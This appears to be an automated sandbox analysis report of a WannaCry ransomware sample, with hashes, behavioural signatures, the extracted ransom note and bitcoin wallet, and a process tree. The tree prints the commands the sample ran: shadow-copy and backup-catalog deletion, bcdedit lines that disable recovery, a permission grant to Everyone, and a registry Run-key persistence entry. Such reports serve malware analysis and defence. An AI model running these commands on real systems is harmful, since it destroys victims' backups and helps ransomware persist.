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Overview

overview

10

Static

static

ed01ebfbc9...aa.exe

windows7_x64

10

ed01ebfbc9...aa.exe

windows10_x64

10

Resubmissions

13/04/2021, 15:20

210413-erpdk5746n 10

07/04/2021, 20:23

210407-3w1xnp3sxx 10

30/03/2021, 12:44

210330-rxae2gpzkn 10

15/03/2021, 03:56

210315-v77jkyypdj 10

12/03/2021, 14:39

210312-v91t4rfeva 10

09/03/2021, 16:31

210309-jarv33yz26 10

08/03/2021, 18:16

210308-nb95m4v9c6 10

04/03/2021, 16:33

210304-wah1ytdaa6 10

04/03/2021, 15:26

210304-v2jw3mqwkj 10

03/03/2021, 02:26

210303-eg4g1z4wd2 10

Analysis

  • max time kernel
    146s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    08/07/2020, 15:28

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General

  • Target

    ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe

  • Size

    3.4MB

  • MD5

    84c82835a5d21bbcf75a61706d8ab549

  • SHA1

    5ff465afaabcbf0150d1a3ab2c2e74f3a4426467

  • SHA256

    ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa

  • SHA512

    90723a50c20ba3643d625595fd6be8dcf88d70ff7f4b4719a88f055d5b3149a4231018ea30d375171507a147e59f73478c0c27948590794554d031e7d54b7244

Score
10/10
ransomwarepersistencewormwannacryspywarediscovery

Malware Config

Extracted

Path

C:\Users\Admin\AppData\Local\Temp\@[email protected]

Family

wannacry

Ransom Note
Q: What's wrong with my files? A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted. If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely! Let's start decrypting! Q: What do I do? A: First, you need to pay service fees for the decryption. Please send $300 worth of bitcoin to this bitcoin address: 12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw Next, please find an application file named "@[email protected]". It is the decrypt software. Run and follow the instructions! (You may need to disable your antivirus for a while.) Q: How can I trust? A: Don't worry about decryption. We will decrypt your files surely because nobody will trust us if we cheat users. * If you need our assistance, send a message by clicking <Contact Us> on the decryptor window. �
Wallets

12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw

Signatures

  • Suspicious use of SetWindowsHookEx 9 IoCs
  • Modifies service 2 TTPs 4 IoCs
    persistence
  • Suspicious use of WriteProcessMemory 104 IoCs
  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Views/modifies file attributes 1 TTPs 1 IoCs
    evasion
  • Modifies file permissions 1 TTPs 1 IoCs
    discovery
  • Executes dropped EXE 16 IoCs
  • Suspicious use of AdjustPrivilegeToken 51 IoCs
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Modifies registry key 1 TTPs 1 IoCs
  • Loads dropped DLL 39 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
    ransomware
  • Wannacry

    WannaCry is a ransomware cryptoworm.

    ransomwarewormwannacry
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spyware
  • Drops startup file 2 IoCs
  • Adds Run entry to start application 2 TTPs 2 IoCs
    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
    "C:\Users\Admin\AppData\Local\Temp\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    • Loads dropped DLL
    • Sets desktop wallpaper using registry
    • Drops startup file
    PID:112
    • C:\Windows\SysWOW64\attrib.exe
      attrib +h .
      2⤵
      • Views/modifies file attributes
      PID:1616
    • C:\Windows\SysWOW64\icacls.exe
      icacls . /grant Everyone:F /T /C /Q
      2⤵
      • Modifies file permissions
      PID:780
    • C:\Users\Admin\AppData\Local\Temp\taskdl.exe
      taskdl.exe
      2⤵
      • Executes dropped EXE
      PID:1880
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c 88211594222137.bat
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1912
      • C:\Windows\SysWOW64\cscript.exe
        cscript.exe //nologo m.vbs
        3⤵
        • Loads dropped DLL
        PID:1792
    • C:\Users\Admin\AppData\Local\Temp\@[email protected]
      @[email protected] co
      2⤵
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      • Executes dropped EXE
      • Loads dropped DLL
      PID:1084
      • C:\Users\Admin\AppData\Local\Temp\TaskData\Tor\taskhsvc.exe
        TaskData\Tor\taskhsvc.exe
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious behavior: EnumeratesProcesses
        PID:652
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c start /b @[email protected] vs
      2⤵
      • Suspicious use of WriteProcessMemory
      • Loads dropped DLL
      PID:528
      • C:\Users\Admin\AppData\Local\Temp\@[email protected]
        @[email protected] vs
        3⤵
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        • Executes dropped EXE
        PID:820
        • C:\Windows\SysWOW64\cmd.exe
          cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1268
          • C:\Windows\SysWOW64\vssadmin.exe
            vssadmin delete shadows /all /quiet
            5⤵
            • Interacts with shadow copies
            PID:1904
          • C:\Windows\SysWOW64\Wbem\WMIC.exe
            wmic shadowcopy delete
            5⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1656
    • C:\Users\Admin\AppData\Local\Temp\taskdl.exe
      taskdl.exe
      2⤵
      • Executes dropped EXE
      PID:2012
    • C:\Users\Admin\AppData\Local\Temp\taskse.exe
      taskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:2004
    • C:\Users\Admin\AppData\Local\Temp\@[email protected]
      @[email protected]
      2⤵
      • Suspicious use of SetWindowsHookEx
      • Executes dropped EXE
      • Sets desktop wallpaper using registry
      PID:808
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "pzkqrqnhucon571" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\tasksche.exe\"" /f
      2⤵
        PID:1592
        • C:\Windows\SysWOW64\reg.exe
          reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "pzkqrqnhucon571" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\tasksche.exe\"" /f
          3⤵
          • Modifies registry key
          • Adds Run entry to start application
          PID:2028
      • C:\Users\Admin\AppData\Local\Temp\taskdl.exe
        taskdl.exe
        2⤵
        • Executes dropped EXE
        PID:1840
      • C:\Users\Admin\AppData\Local\Temp\taskse.exe
        taskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]
        2⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:1056
      • C:\Users\Admin\AppData\Local\Temp\taskdl.exe
        taskdl.exe
        2⤵
        • Executes dropped EXE
        PID:1308
      • C:\Users\Admin\AppData\Local\Temp\taskse.exe
        taskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]
        2⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:972
      • C:\Users\Admin\AppData\Local\Temp\taskdl.exe
        taskdl.exe
        2⤵
        • Executes dropped EXE
        PID:1572
      • C:\Users\Admin\AppData\Local\Temp\taskse.exe
        taskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]
        2⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:1504
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Modifies service
      • Suspicious use of AdjustPrivilegeToken
      PID:1928

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • memory/112-4-0x0000000010000000-0x0000000010010000-memory.dmp

      Filesize

      64KB

      Download

    • memory/652-412-0x00000000033E0000-0x00000000033F1000-memory.dmp

      Filesize

      68KB

      Download

    • memory/652-414-0x00000000033E0000-0x00000000033F1000-memory.dmp

      Filesize

      68KB

      Download

    • memory/652-78-0x0000000002AA0000-0x0000000002AB1000-memory.dmp

      Filesize

      68KB

      Download

    • memory/652-79-0x0000000002EB0000-0x0000000002EC1000-memory.dmp

      Filesize

      68KB

      Download

    • memory/652-80-0x0000000002AA0000-0x0000000002AB1000-memory.dmp

      Filesize

      68KB

      Download

    • memory/652-246-0x0000000002EB0000-0x0000000002EC1000-memory.dmp

      Filesize

      68KB

      Download

    • memory/652-245-0x0000000002AA0000-0x0000000002AB1000-memory.dmp

      Filesize

      68KB

      Download

    • memory/652-247-0x0000000002AA0000-0x0000000002AB1000-memory.dmp

      Filesize

      68KB

      Download

    • memory/652-413-0x00000000037F0000-0x0000000003801000-memory.dmp

      Filesize

      68KB

      Download

    • memory/1792-49-0x00000000026B0000-0x00000000026B4000-memory.dmp

      Filesize

      16KB

      Download